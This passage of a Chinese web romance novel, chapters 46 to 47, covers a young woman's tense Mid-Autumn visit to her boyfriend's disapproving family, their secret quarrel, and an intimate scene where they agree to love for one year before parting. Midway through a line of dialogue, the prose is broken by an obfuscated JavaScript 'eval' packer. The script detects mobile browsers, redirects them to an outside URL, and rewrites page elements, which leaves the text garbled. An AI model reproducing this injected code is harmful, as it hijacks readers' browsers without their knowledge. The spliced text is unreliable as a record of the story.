他爸余韬韬不明所以,问他:“Theo你怎么回事,多大的人了,连杯子都拿不稳。” 余萧弋没说话。 “没事,岁岁平安。”萧文然起身,招呼佣人,“王姐,过来打扫一下。” 她一动,小初就感觉自己的脚被他整个勾住并桎梏在了原处,她想抽回,却怎么都没有成功。 她终于气急,眼神锐利地朝他瞪过去。 下一秒,却见他眼底已红到不能再红,似是要跟着地上的杯子一块碎了。 小初不忍再看,低下了头。 他的信息进来了。 【为什么?】 小初掐住掌心,回他,【是你先不认我的。】 【我那是怕你尴尬。】 【为什么给狗取名Enzo J ?】 【因为取个贱名好养活,我是说我想我的狗好养活一点。】 小初瞳孔剧震,这什么倒反天罡! 【你妈让我们做兄妹呢,你看不出来?】 【她什么都不知道。】 小初心里冷哼,他是真傻还是在装傻? 【嘘,别说话了,哥哥。】 46.第 46 章 小初本来吃了饭就要回学校的,可萧文然非说晚会儿要带大家到院子里点灯笼看月亮,说什么都不肯放她走。 这倒让小初有些困惑了。 她这是怕她听不懂她的弦外之音,想多留她一会儿再明里暗里提醒几句吗? 大可不必吧。 她若是足够聪明,自然只需要点到为止,她若是蠢到无可救药,她就算说再多又有什么用?说不定多留她一会儿,还会适得其反。 小初向来善解人意,她累了,只想打明牌了,“阿姨,我真的还有很多事情没有忙完。” “做人要松弛有度嘛,明天是假期,有什么事明天再做好了。” 小初笑:“阿姨,我男朋友还在等我。”这句话也不都算谎言,因为余萧弋之前确实说等她这边结束就跟她去过二人世界的。 这么说,就是非走不可的意思了。 萧文然不经意看了身旁的余萧弋一眼,似是有些意外,“你有男朋友了?” 小初也不经意看了看他,两人目光交汇那一刹,她就读懂了他的意思,他在等她此刻的认领。 心脏蓦地刺痛。 他要她怎么认领?现在是两边家长都反对他们在一起,这样的爱情又怎么会有好的结局呢?不是她太容易退缩,只是她觉得人太偏执感情,也是一种自伤。她还有很多很多事要做,不能把时间都浪费在和一个男人的周旋上。 做证明题的时候,逻辑不通就要转换思路了,她的人生,爱情不是唯一的选项。 Enzo也大叫:“姐姐!你怎么可以有男朋友呢!” Isla奇怪地瞪了他一眼:“小初姐这么漂亮,没有男朋友才奇怪吧?我们学校的校花上个学期都换了三个男朋友呢!” 萧文然被两人吵得头疼,指了指楼上,“你们俩回自己房间玩去,一会儿点灯笼时候再下来。” 两人不情不愿地走了。 小初微微调整了一下呼吸,直至感觉心脏没有刚才那么疼了,才答道:“嗯。” 话音一落,她就看见余萧弋身形晃了一下,不过,她也顾不上那么多了。 她今天也有委屈,这委屈她能受着,她相信他余萧弋也能受得住。 又寒暄了几句,小初便起身告辞了。 萧文然说:“Theo,你送妹妹回去吧。” 小初眉心一跳,赶紧拒绝:“不用!”说完这俩字她又觉得自己语气太生硬了,马上缓和道:“今天过节,哥肯定也想跟家人团聚的,阿姨让司机送我就好。” 至此,萧文然也不好说什么了。 几人步行到室外,余韬韬说:“小方太初,下次记得还来家里玩啊,你小时候叔叔就恨不能你是我女儿,这半年难得你在这边,学校离得又近,一定要常来吃饭,叔叔家永远对你敞开怀抱。” 余韬韬这番话说得太窝心,小初不知怎么突然很想哭,通过一晚上的相处,她自然看得出萧文然才是这个家的话事人,而余韬韬则像个富贵闲人,更柔软,也更重感情。 她相信他这一刻的真心。 “我会的。”小初忍住眼泪,用力灿笑着回应道。 司机已经在车边等。 小初正要上车,却见另一辆车刚好从外面驶进来,对方似是没想到院子里会有人,打着远光灯,小初被刺到,抬手挡了挡。 车子停了下来,一人从容下了车。 萧文然讶异了一声,迎上去:“Joe,怎么是你过来?” 车灯熄灭,小初定了定睛,才发现来的人正记者镜头下那个滴水不漏的男人,余萧弋的堂哥余珺彦。 趁着这会儿,余萧弋终于得到了和她说话的机会,小初一开始还没注意到,直至鼻端传来一阵熟悉的木质香。她一阵慌乱,还未来得及侧头,手就已经在黑暗中被他抓住了。 司机已经退开到十米之外。 “知道你委屈。”他的声音很低,潮湿的风从他那边吹过来,刚好飘进她一个人的耳朵,“待会打我好了。” 小初指尖僵住,人也僵住,但心脏却没有,在一阵酸涩中,她终于还是没有忍住眼泪,然后又有些疑惑,山上的风,不一般都是清爽的吗?怎么会突然这么潮湿? 她不想做那个擦眼泪的动作,于是抬起了头,却只看见一轮边界模糊毛月亮,看上去,后半夜会下雨。 小初不动声色抽回手指。 “余萧弋。”她几乎用齿缝说出的这三个字,“别找事。” 他不听,也没动,目光始终凝在她身上。 那边余珺彦还在和萧文然和余韬韬说着话,“爷爷心情不好,正在家里骂小叔呢,说要不是因为他,也不至于今年连中秋家宴都不敢办。又说想孩子们了,发脾气让司机给各家送吃的和灯笼过去玩,说到这又生气,骂我爸好端端非要离婚,搞得他几个孙都不是想见就能见,接着又骂小姑……” 话没说完,萧文然就咳嗽了一声。 余珺彦倏地停住,看向昏暗里一道高挑身影,有些不确定:“今天有客?” “一个很亲的妹妹。”萧文然朝小初招招手,似是没看见就立在她身边的另一个人,“不算是客,算自己家人。”又给他们做了介绍,“这是Enzo的堂哥Joe,这是方太初,北京来的。 ” 余珺彦有些讶然,温和有礼地问了好:“你好,方小姐。” 他的样子和电视上差不多,只是没有电视上那么沉默,多了很多活人感。 小初不确定自己的脸上还有没有挂着泪痕,所以只微微颔了颔首,算是打过了招呼,再次跟萧文然告辞:“阿姨我就先回去了。” 萧文然点点头,温和地拉过她的手,真诚说道:“改天阿姨再去接你来家里吃饭。” 小初垂眸,没应声。 余珺彦却说:“外面起雾了,这会儿还是不要下山了,不太安全,我刚过来的时候转弯处还有两辆车刮擦。” 小初却坚持:“应该没关系,我怕再等下去会下雨。” 余珺彦点头:“看着像,今晚等着赏月的人怕是要失望。要不这样,刚好我要回去,就一起把你带下去吧,不然司机稍后还要返回,到时候路况又不知道怎么样了。” 小初现在只想快点离开,也就没有拒绝:“行,那就麻烦余先生你了。” 说完就往他车那边走。 不期却被余萧弋拉住,他的声音听着似是极力压制着什么,“都说了起雾了,就算真有人在等你,那就让他等着好了,你的安全不重要吗?” 说完,也不顾别人怎么想,就又拉着她回到了室内。 余珺彦脚步顿了顿。 余韬韬说:“仔你也别急着回去了,安全第一。”又问萧文然,“Theo和妹妹什么时候这么熟了,孩子都大了,行事也该有个分寸,真把人得罪了,回头我见了老方怎么说啊。” 萧文然瞪了老公一眼,没答别的,只顺着他的意思跟余珺彦笑了笑,“就是,你也别急着回去了,免得爷爷那边心情不好你也跟着遭殃,伯母前几天刚有人送来一盒好茶,一会儿你尝尝。” 余珺彦笑:“那我有口福了。” 小初到室内就甩了掉余萧弋的手,声音都有些颤抖:“你疯了余萧弋,你要干嘛,把我困在你们余家吗?” 他们两个走得快,后面的人还没有跟上来,佣人们不知躲在哪里,整个房子只有电视机庆祝节日的热闹声音。 余萧弋不说话,只是蹲下身子帮她把鞋子脱掉,又拿出拖鞋给她换上,然后就拉着她沿着楼梯上了楼。 小初意识到什么,难以置信问他:“你带我去哪?” 余萧弋神色难辨,只说了三个字,“回房间。”一边说,一边脚步不停。 她力气到底没他大,生生被他拉着上了二楼,到了楼梯口,她怎么都不肯往前走了。 真跟他回了房间,这事怎么收场? 她恨极,口不择言,“你能不能尊重我一下,当我是什么,你的安抚娃娃吗?随便你不开心就可以带回房间为所欲为的吗?” 余萧弋愣了愣,眼底闪过一丝荒诞,“你知不知道你在说什么?”下一秒就把她拉进怀里,紧紧箍住,“你提醒我了,我大概是要把你困在这房子里,然后为所欲为了。” 小初推他,用力挣扎,却怎么都没挣脱,楼下传来一阵脚步声和人声,萧文然在喊,“Enzo,Isla,堂哥来了,还带了好多好吃的,快下来!” 她终于崩溃,只稍稍垫了垫脚,下巴就抵在了他的肩膀上,然后,她丝毫都没有犹豫,还隔着衣服,就照着那里咬了下去。 她知道自己用了几分力气,也知道他会有多疼,不用抬头,她已经猜到了他此刻的表情,因为她听到了他吸气的声音。 可即便如此,他也没放手。 小初抬起头,眼中的倔强燃烧着,恨不能把眼前的他也一块焚了。 “你放手。”她一字一顿,“我要回去了。” 余萧弋隐忍地蹙了蹙眉,“你不是说你男朋友在等你吗?你男朋友已经在这了,你还要去哪?” “去哪唔紧要,最紧要是离开这里。” 他忽而一笑:“你又一次放弃我了。” 小初怔住。 “每一次,只要有任何一点挫折,你第一反应都是放弃我。”他稍稍抬手,有那么一刻是真的下了狠心,掐住了她的下巴,可见她白皙的脸上迅速出现的红痕,他还是松了力道,问她:“为什么?” 小初讲不出话,只是胸口剧烈地起伏着。 “我才是你的便利贴男友吧,随手就会被你扔进垃圾桶的人。” 萧文然又喊了一遍。 这一次,手持游戏机的Enzo和Isla终于不耐烦地从房间里走了出来,嘴里应着:“来啦。”又小声嘟囔,“刚刚赶我们回房间,现在又叫我们下去,一个余珺彦而已……” 像是某种默契,两人迅速松手后退,等两个小朋友抬眸过来的时候,他们早已拉开一个恰到好处的距离。 目光齐齐看着窗外的月亮。 Enzo停下手里的游戏,眯了眯眸子,“你们两个在干嘛?” 余萧弋侧眸,散漫看他一眼:“关你什么事?” Enzo过来扯了扯小初的袖子,刘海遮住眼睛的样子有点乖:“姐姐,你没回去呀,天要下雨了,你要不要住下来?家里房间很多。” 小初轻轻笑了:“仔仔,姐姐怎么能随便在外留宿呢。” 说完她就想起了那一晚。 那是她长这么大第一次在男人家里留宿。 Enzo眨眨眼,“亦玫阿姨说了,我以后想去你家住多久就住多久,我都能去你家住,你就也能来我家住,你不用考虑别人。” 余萧弋瞪他,“余萧泽你说话就说话,别总动手动脚。” 他不客气地拂落他的手。 “我和姐姐的事,关你什么事啊。”Enzo就等他这句话,报复回来。 Isla在一旁坏笑,说他:“哥,我前一段听爷爷他们说要给你订婚呢,你都要有未婚妻的人了,你跟二哥争什么?” 下一秒,他哥就毫不客气拿过窗台上不知谁放在那的高尔夫球砸了过去,要不是Isla运动天赋好,轻松躲过,这一下恐怕会砸得不轻。 “胡说什么!” Isla桀骜地朝他挑了挑眉,“我哪里胡说,本来就是二哥先认识……” 小初心一惊,打断她,“妹妹别乱开我和仔仔玩笑,我男朋友听了会不开心的。” 余萧弋果然静了下来。 Isla不以为然,“怕什么,他又不在这。” “那也不行。” 小初拉上Enzo和Isla下了楼,一边走一边状似无意和他们聊着天,“Isla,我好像还不知你的名字。” “我叫余萧盈,盈盈一水间的盈。” 小初点头,“好名字。” 他们兄妹三人都是被父母爱着的孩子,刚刚在餐桌上,萧文然夫妇对每个孩子,包括她,都照顾得非常悉心,在那一刻,小初就已经原谅了一切。 虽然不知道为什么,但既然方协文和黄亦玫不接受人家,那人家自然也可以不接受她。 她是个逻辑严谨的理科生,不想双标。 到了楼下,三人正在茶室煮茶喝。见她下楼,萧文然立刻起了身,招呼道:“不是我留客,是天要留客,我来这边这多年还从没见过这么大的雾。” 小初看向窗外,发现真的到处雾气昭昭了。大概是空气湿度太大了,山上温度又凉一点。 “来坐,尝尝堂哥带过来的月饼。” 小初挨着萧文然坐了。桌上精美的小碟子里切了几块月饼,什么颜色都有,她也看不出里面都是什么馅。 Enzo和Isla和余珺彦打过招呼,又一人叉了块月饼就跑到客厅去玩游戏了,他们才不愿意留在这听他们念大人经。 余珺彦递给小初一个叉子,推荐道:“这个紫薯芋泥馅的不太甜,你可以试试。” 小初讶然于他的细心,从善如流地接了,客气地说了声:“谢谢。” 眼角余光,她看见余萧弋也下楼来了。 他没过来入座,反而停在了最后一级台阶上,“爸,妈,你们能上来一下吗?我们聊聊。” 小初的手一抖,叉子上的一小块月饼就掉在了桌面上。 余珺彦掀眸看了她一眼,“掉了就别要了。” 小初说:“没关系。” 萧文然站起身来,叹了口气,“什么事啊?”又说:“Joe你帮忙照顾一下妹妹。” 余珺彦点头。 余韬韬不明所以,“有什么话不能坐下来谈吗?”话虽这么说,人还是跟在了老婆后面。 三人一块上楼去了。 空气突然变得很静,小初把那小块月饼含在了嘴中,机械地嚼了嚼,也没尝出什么味道,就咽了下去。 她想了想,还是给他发了条消息过去,【算我求你,别让大家难堪。】 等了三分钟,他也没有回。 这房子隔音极好,她不知道他们去了楼上哪个房间,更没听见任何她想象中的争吵的声音。 玻璃水壶里的水逐渐沸腾。她有些怔,并没有意识到自己的目光正落在眼前的人身上。 余珺彦洗了个茶杯给她,往里面添上了碧绿清澈的茶汤,示意她:“方小姐,尝尝?” “谢谢。”小初端起茶杯。 他又说:“小心烫。” 小初点头。 “本来这个季节是不应该喝绿茶的,但月饼太甜,绿茶解腻效果能好点。” 余珺彦非常绅士,说话也娓娓道来,且没有任何口音,若是不认识他的人,一定猜不透他的来历。 但小初此刻并没什么和他攀谈的心情,也没说话,只是小口小口把他倒给她的茶默默喝了。 杯子放下,他就又添了茶过来,小初没办法,在北方,只要人家给倒茶或者倒酒,就没有不喝的道理,她只能把这一杯也喝了。 如此往复,直到第六杯。 余珺彦终于忍不住好奇,“方小姐,你很渴吗?” “啊?”小初如梦如醒一般抬眸看向他,一双黑白分明的眸子直直撞进他眼底,她的眼型本来就漂亮,今天的心事重重更让她多了几分迷蒙,这样的她,很有种她不自知的妩媚,“抱歉没听见你说什么。” 余珺彦饶有兴致地看她一眼,“我说,你很渴吗?都喝了第六杯了。” “没。”小初有些不好意思,“我们那边人家给倒茶不能不喝的。” 余珺彦被她逗笑,“巧了,我们这边只要客人茶杯空了,就要添满的。” 小初也有些失笑,“那咱俩这岂不成了永动机?” “永动机倒无妨,我只怕你喝多了茶晚上睡不着。”余珺彦探寻看向她,“你心情不好,事关Theo,你根本不是什么妹妹,你是他女朋友。” 小初忽地看向他,防备心顿时拉满。 “既然如此,好端端上门来做客,为什么大家都不开心?” 小初不答。 余珺彦看了看窗外,“现在雾还没有达到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16426857|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最浓,若以二十码的速度开下去,应该也不算太难,方小姐,你需要我帮忙吗?” 小初轻笑一声,“余先生你想象力比洞察力更丰富。” 余萧弋正在楼上为她们的爱情和他父母抗争,她若是就这么不负责任地跑了,这辈子都会看不起自己。 既然他已经做了,那她就无论如何都要和他站在一起。 他能承担的后果,那她方太初也能。 只是,这个城府极深的余珺彦,到底意欲何为?他有什么立场和目的要掺和到这件事里来? “我猜错了?”他自省了两秒,若有所思地看了看她,“你真的只是妹妹?” 小初不置可否,只低头喝了口茶。 * 楼上的小会客厅里,余萧弋和父母呈三角之势坐了下来。 他没有开全部的照明,只开了盏昏暗的壁灯,光从侧面打过来,在每个人脸上都形成了角度不同大小不一的浅浅的阴影。 余韬韬看了儿子一眼,最先开口,“到底怎么了?家里还有客人,有什么话不能等客人走了再说?Theo,我刚还和你妈妈说,你也大了,做事多少要顾虑些分寸了,刚刚你牵人家小方太初的手干什么?人家一个二十来岁的年轻女孩,经得起你这么欺负?” 余萧弋呼吸一滞,“余萧泽也动手动脚的,你怎么不说他?” “你跟他比,他还是个未成年的孩子!”余韬韬提高声音,但很快就敛起了脾气,“当然,他我等下也会教育的。但你更不行,你要是敢学你那两个不成器的叔叔,我绝不轻饶你。” “……”余萧弋咬牙,“爸,她是我女朋友。” “你说什么?”余韬韬极为震惊,下意识看了眼从进了门就一直没说话的老婆,“你家大公子是不是疯了?” 萧文然依旧没说话。 余萧弋转向她,“妈,你别说这事你不知道。” 余韬韬再次震惊,“你知道?” 萧文然叹口气,瞪了老公一眼:“这事在余家还算秘密吗?就只有你一个人不知道吧?你儿子前两天把人都带到杨家的场子去了,第二天杨家小姐生病的消息就传进了老爷子耳朵里,老爷子因此还把你儿子骂了一通,说他不知所谓,为所欲为,你竟然一点风声都不知道?” “我……”余韬韬语塞,“我一天工作上那么多事,哪有心思看八点档。”然后又莫名闪过一丝笑意,“所以你真把小方太初带去了?” 余萧弋默然。 “干得漂亮!” 余韬韬毫不掩饰:“我跟你妈妈本来也不喜欢杨家,更不喜欢被外界称为一把刀的杨家太太,你要是真跟她女儿好了,早晚被人家算计得体无完肤。你爷爷在几个子女身上一错再错,竟然还想下一代重蹈覆辙,简直不可理喻。” 余萧弋说:“爸,我非她不可,也不会去联姻。我只想自己主导我的感情,不想跟个筹码似的在赌桌上被人抛来抛去。希望家里不要逼我,哪怕你们不喜欢她,也不要从中干涉,影响我们的感情。” 余韬韬从桌上果盘里拆了颗果仁的巧克力,先问老婆,“吃吗?”见对方不答才塞进自己嘴里,心情愉悦,“你眼光这么好,我们为什么要干涉?我和你妈妈也是自由恋爱,能理解你。” 余萧弋缓缓转向他妈:“那你呢?” 萧文然半晌不语,眼神里怜悯逐渐显露出来,“仔,妈妈早教过你,做人要顺势而为,不要过分执着,你和小初,成不了。” “为什么?” 问出这话的人,是余韬韬。 “还问为什么,那小方太初是人家的掌上明珠!千疼百爱长大的,又培养得这么优秀,凭什么要送到你们余家来造作践呢?你当你们余家是什么好去处吗?” 萧文然冷笑,“余韬韬,你自己想想,我嫁到你们家,多少个夜晚都是睡不了觉的?脑子里每天要过多少事?我生Theo还没三天,你妈就过来跟我说好好保养再生两三个,我没记错吧!” 余韬韬不吭声了。 萧文然说:“你说希望她是你女儿,我想问问,你愿不愿意把自己女儿嫁到这样的人家来,我记得杨太太还有个小儿子跟Isla差不多大,将来压力压到她身上,你愿不愿意?” 余韬韬拍了拍老婆手背,“别危言耸听,老爷子又未必活到那个时候。” 话音一落,余萧弋和萧文然都不可思议看了对方一眼。 “做咩野?”余韬韬摸了摸自己的脸,“我没说错吧,他现在都七十多了。” “我看他能活一百岁!你们兄弟哪个撑不住他都不会倒!”萧文然心累到极致了,“再说,你盼着他健康长寿吧,他在,这个家还在,他不在了,你们这群乌合之众能顶几天?” 余萧弋不想听他们夫妻扯那些陈年旧事,神情怔怔的,“你是说,她爸妈不同意?” 萧文然叹口气,“前几天我不是请她妈妈吃饭了吗?人家的态度已经很明确了。” “或许他们只是不了解我。” “你觉得,你在方太初那,有赢过她父母的筹码吗?就今天这小小的试探,她就已经二话不说放弃你了,你还非她不可,也不问问人家要不要你吗?” 余韬韬也想起件事来,“刚她说的男朋友还在等着她是什么意思?她不止你一个男朋友吗?” 余萧弋向后,缓缓塌在了沙发的靠背上,“她说的就是我,我本来说好等着她在这边吃了饭来接她的,谁想到?” 又过了差不多一分钟,他才看向萧文然,“她爸妈无论如何都不能接受我吗?” 萧文然点头,而后又摇头,“她爸妈只是一方面,我只是觉得,她并没有你想的,那么爱你。” 余萧弋慢慢红了眼睛。 萧文然起身走上前来,抱住他,“傻仔,知儿莫若母,妈妈只是,不想你有天被人家从云端扔下来。请你理解下,我真的……接受不了。你是我最用心培养的孩子,我和爸爸不能没有你。你就听妈妈的,趁现在陷得还不深,放手吧,对你们俩谁都好。” * 余萧弋从楼上下来的时候,小初正在院子里和Enzo以及Isla点兔子灯。 天气软件上显示这会儿的雾还很大,但因为夜色已深,她只感受到了空气的湿度,并没有看到雾。 她在北京从没有在八月十五点过灯,这会儿只觉得新奇。 他们点了好多个灯挂在院子里的各个地方,在一片浓稠的黑里面,特别璀璨,热闹,尽管天上的月亮已经淡成了一道浅黄色的影子,但手里的灯弥补了一切。 她手里的小兔子是爬卧的姿势,里面的电子蜡烛跟真的一样,火苗飘飘忽忽,像被风吹着一样。 忽然一阵风吹来,蜡烛竟真的灭了。 小初将灯提到眼前,有些困惑,“你还真成精了啊?” “灭了?”余珺彦走上前来。 “嗯。” 小初后来一直跟妹妹在一起,直至他们张罗着要点灯玩,余珺彦才跟了过来。 “我看看。”余珺彦提起灯线,跟她说,“你抱着兔子。” “哦。”小初照做。 余珺彦伸手进去把电子蜡烛拿了出来,在掌心里敲了敲,灯顿时又亮了。 “估计是线路接触不好。” “嗯。”小初点点头,她其实也是这么猜的。 余珺彦把蜡烛放进去,跟她说:“好了。” “谢谢。”小初仍抱着璀璨的兔子。 在一片浓稠的夜色中,只有她的脸是明亮又天真的。 余珺彦微不可察地挑了挑眉,“不客气。” “方太初。” 余萧弋的声音突然在耳边响起。 小初条件反射似的回过头去,差点摔掉手里的灯。 “你……聊完了?”她什么都没看,只盯着他的眼睛。 可惜天色太暗,她什么都看不清。 只觉得空气黏腻潮湿,压得人喘不过气来。 第一次,她不知道他在想什么。 余萧弋淡淡看了余珺彦一眼,“哥,这我女朋友。” 47.第 47 章 “跟我来一下。” 余萧弋说完这句话就拉过了小初的手,再没有分半个眼神给旁边若有所思的余珺彦。 小初另一只手还拎着灯笼,小兔子随着她脚步摇曳着,跳跃着,映着她的裙角,璀璨生姿。 两人的身高和气质本来就极为相配,在这样潮湿浓稠的夜色中更是有种说不出氛围感,身后的余珺彦眯了眯眸子,嘴角无意识地斜了斜。 Enzo看着两人的背影,大喊了一声,“哥,你带姐姐去哪里呀?” 余萧弋似是根本没有听见,步子走得很稳,小初亦步亦趋,很快,他们就穿过枝叶蓊郁的低矮灌木和高大乔木,融入了那栋白色别墅在雾色中略显朦胧的灯火辉煌里。 房子里比小初今天来这里之后的任何一刻都安静,客厅半个人影都没有,连电视机都懂事地黑着屏。 小初有些紧张,根本不敢大声说话,“你带我去哪里?” 余萧弋不答,只是再次俯身帮她拿了拖鞋。 小初把小兔子灯放在门口的地上,问他:“你爸妈呢?” 余萧弋起身,再次牵紧她的手,本不想回答这个问题的他还是没忍住安慰了她一句,“放心,他们不会出来叫你尴尬的。” 小初稍稍心安,但仍有些踌躇,“很晚了,我要回去了。” 余萧弋直直看向她,“如果你真想在这个时候要我送你,也可以。”他勾起唇角,笑容有些散漫,“外面雾这么大,你想和我死在一起,是吗?” 小初看出了他的不对劲,但一时也想不通这种不对劲来自于哪里,现在只是双方家长不同意他们在一起而已,他至于谈什么生啊死的吗,以为他们是罗密欧与朱丽叶? “余萧弋。”她提醒他:“困在爱里的人是最没有魅力的,你懂吧?别谈个恋爱就不像你自己了,好吗?” 余萧弋笑笑:“我懂,只是我可能做不到你方小姐这么洒脱。” 他带着她朝楼梯方向走去。 小初停住脚步:“我说了我不去你房间。” 余萧弋的眼神从没有像此刻这样冰冷而危险,只是这样被他看着,她就感觉身体不是自己的了,视线失焦地落在他的眼睛之下,根本不敢跟他对视,“你别犯浑。” 他没说话,没带她回房间却也没有心软放过她,而是折步向楼下走去。 很快,小初就听见了影音室的门落锁的声音,位于地下室的房间若是不开灯,就是一片绝对的漆黑,她什么都看不见了,一颗心几乎要从胸腔里跳出来,脚下不知道被什么东西绊了一下,就在她以为自己就要失重摔下去的时候,人已经被他按住肩膀,后背抵在了小沙发的靠背上。 他们家的影音室和她北京家里的差不多,其实就是个小型的电影院,只不过他们家人多,观影位要多几个。腰陷落下去的那一刻,一股强烈又紧实的压迫感就贴了上来,她完全看不见他的脸,却不影响她很清晰地知道他在哪里。 他也是。 因为下一秒,她就被裹进了他气味熟悉的怀里,没有任何偏差,唇就被他含住了。他吻得很急,像是有什么心火需要平息,小初一开始还想躲,可下巴被她死死钳住,身体更是动弹不得,只能被动接受了一切。 小初感觉自己身体一直在发抖,黑暗里做这些太羞耻,像是被蒙了眼罩,未知让人恐惧,让人心生渴望,让人可以暂时忘了自己是谁,整个人都变成没了通识的动物,只剩下感官和大脑的连接。 空虚和满足,交替着,某个声音一直在叫嚣,想要更多。 空气里的唇舌交融的水声愈演愈烈,小初被他包裹得快喘不过气来了,手无措地抓住扶手上的羊毛毯子,生理性眼泪就流了下来。 余萧弋这才放开她。 小初大口呼吸着,像是一条濒临死亡的鱼。 原来单单是吻,也会要人命的。 眼泪仍在流,她不是心里想哭,而是身体的承受到了极限,她不知道那个临界点该怎么反应,大脑就替她做出了回答。 “哭什么?” 黑暗中,他的指腹覆在她眼睑下方,语气没了之前的怜惜,有种残酷的味道。 小初扯过羊毛毯,将自己盖住,骂他:“你混蛋。” 她今天穿的是上下身分开的裙子,上衣很宽松,裙子很长,原本是无懈可击的装扮,现在却成了缚住她的茧,裙身凌乱缠着她的腿,上衣下摆失守,空调冷风钻进来,凉意彻骨。 余萧弋再次贴过来,在她耳边低语,“都要分手了,就算混蛋一次也没关系吧?” 小初躲了躲,问他:“这边没有摄像头吧?” 影音室的隔音性肯定没问题,她唯一担心的是这个。 余萧弋气得直接对着她耳垂咬下去,“小姐,我只是个混蛋,不是个变态。” 他的鼻息一下下试探着,小初感觉自己的身体正在被点燃,一开始还是低温火焰,却逐渐愈演愈烈。 低温火焰燃烧过的皮肤,也是刺痛的。而在此之前,她从没想过爱的另一面是这样刻骨的痛,痛过之后,又是一系列连锁反应,到最后甜与涩,痛苦与快乐交织在一起,她也说不清那究竟是一种什么滋味了。 小初感觉自己理智很快就要坍塌了。 原来和喜欢的人在一起的缠绵,如此令人上瘾,以后没了他,她要怎么戒断? “你舍得和我分手吗?” 黑暗中,他的声音深沉又嘶哑,像是蕴藏着某种痛苦。 小初不答,反问他:“你跟你爸妈都谈了什么?” “你指的哪方面。” “关于……我的方面。” 这次,余萧弋答得很快,“他们没有不喜欢你。” 小初低声说:“我知道。” 余萧弋轻哼一声,“难为方小姐你还没有失去最基本的判断。” 小初伸手,向前俯身搂住他的腰,下巴自然而然抵在他的肩膀上,嗅着他身上的香,“可是又能怎么办呢?他们大人有大人的想法。谁想到这世界会这么小?香港和北京那么远,都能让我们产生这样奇异的联系。早知道我们的父母认识,我死都不会把那半颗心赌给你。现在事情这么棘手而复杂,你让我怎么处理?说起来都怪你,偏来招惹我,不然今天就不用这么尴尬了,你要我以后怎么见你爸妈的面啊。” 黑暗中,她听见他闷哼了一声。 “没用的方太初,避不开的,就算今天是我们第一次见面,我,也包括你,无可避免还是会爱上的。时间线对必然的那个结果的影响是有限的。” “谁要爱上你。”小初不想听他的歪理邪说,只问他,“你怎么了?” “你还说?之前咬下去的时候,没想着我会痛吗?” 小初这才知道他说的是肩膀。 她摸到身下的手机,按下侧边条的开关,屏幕亮起的那一刹,两人都愣了愣,很多东西在黑暗中还好,一旦放到光源下,就未免……有点令人不忍直视了。 此时此刻,两人正面对面相拥陷在沙发里,她的衣服很乱,他也没有好到哪里去,柔软的额发之下,一双眼睛泛着勾人沉沦的微光,嘴唇因为吮吸红得妖冶,只一眼,小初的心跳就再次失速了。 她打开手电筒。 “你别动。”小初伸出手,解开他上衣的第二粒扣子,轻柔将衣领往旁边扯了扯,然后,他锁骨上方那个触目惊心的齿痕就映入了眼帘,刺得她瞳孔骤然收缩了一下。 她有些愧疚,指腹在那面抚了抚,眼中的水汽不受控制地氤氲而出,问他:“很痛吗?” 余萧弋蹙了蹙眉,语气倒是漫不经心,“你说呢。” “对不起。我当时也不知道自己怎么了,所以……”她深呼吸了一下,似是终于下定了某种决心,“我们真的不能再在一起了,我想象中的爱情不是这样的,也不该是这样的。” 余萧弋没想到他的伤口会刺她说出这番话来,嘴唇逐渐抿紧,眼神再次冰冷下来。 “方太初你有心吗?” “你不觉得我们现在就分开对谁都好吗?趁彼此爱得还不够深……” “你到底懂不懂啊。”余萧弋轻嗤,“现在才是我们爱得最深的时候,好吗?心理学上说,男女之间的热恋期最多持续几个月到一年,新鲜感就会完全消失,剩下的,就是责任和亲情了。你信我的,现在分开,只会让我们更痛苦。” 小初想了想,觉得他说得也有道理,可这么下去又有什么意义呢,一个好的故事配一个烂透了结局,还是一个好的故事吗? 她从没像此刻这样绝望,不知道该拿他怎么办,更不知道拿自己怎么办,他说得对,现在分手,只会让他们更痛苦,更意难平,更念念不忘,伤口恐怕这辈子都愈合不了了。 他们明明是互相喜欢的呀。 为什么不能有个好的结局呢。 若他们是平常人家的孩子,大不了就不管父母怎么反对都要在一起好了,可他们不能,因为他们不仅是他们自己,更没有资格,把一切都押在爱情两个字上。 正如他说的,爱情也不是什么可以长期保鲜的东西,总有一天,它会枯萎,会腐败,会散发出令人厌恶的味道,最后风干,消散。 人最终还是要回归到自己,回归到生活本身。 “你爸妈为什么不喜欢我?”余萧弋一下一下轻吻着她,“要不我月底陪你一块回去考试,然后和他们见个面?说不定见了面他们就喜欢我了呢。” “他们没有不喜欢你,他们又不知道你是谁,甚至都不知道你的存在。”小初垂下眼睫,目光落在他肩膀的齿痕上。 “那是为什……”余萧弋停住,蓦地想起萧文然的话——你以为你们余家是什么好去处吗? “他们看不上余家。”余萧弋自嘲笑笑,“也是,哪个书香门第看得上我们这样的人家呢。” “不是的。”小初伸出手指封住他的唇,“不是这样的。他们只是太爱我,不想我活得太累心。” “那就还是看不上。” 眼见着越描越黑,小初索性也不说了,只说,“反正跟你没关系,你很好,我知道。” “那你准备怎么办?”余萧弋手臂骤然收紧,恨不能把她揉进身体里,“已经决定放弃我了吗?” 小初摇摇头,“你别逼我,我不知道。” “那不然,我提一个方案,你看看行不行?” 余萧弋的脸已近得不能再近,小初看到了他眼神里的祈求,“什么?” “我们至少爱到热恋期结束再分手,可以吗?别现在,免得两人都太痛苦。一年,明年的八月三十号,无论我们在哪里,都见一次面,做个彻底的了结。” 小初万没预料到他会这么说,整个人都怔住了,眼泪再次不听话地流了下来。 不敢相信他们正在这么暧昧的氛围中,约定着怎么分手。 余萧弋红着眼睛笑,“如果我们的爱情真的不能免俗在一年之内死去,那么那个时候就是最好的时机,刚好我要飞去美国,你再也不需要见到我。” 小初勾住他的脖子,恨不能将此刻的他永远地印在记忆里,她一直在哭,“那在那之前呢?” “我们就用力相爱。” “所以你的意思是,就谈一场以分手为目的的恋爱?” 余萧弋深邃而认真地看着她,“不然你有更好的方案吗?让我们对得起所有人的同时还不辜负彼此?” 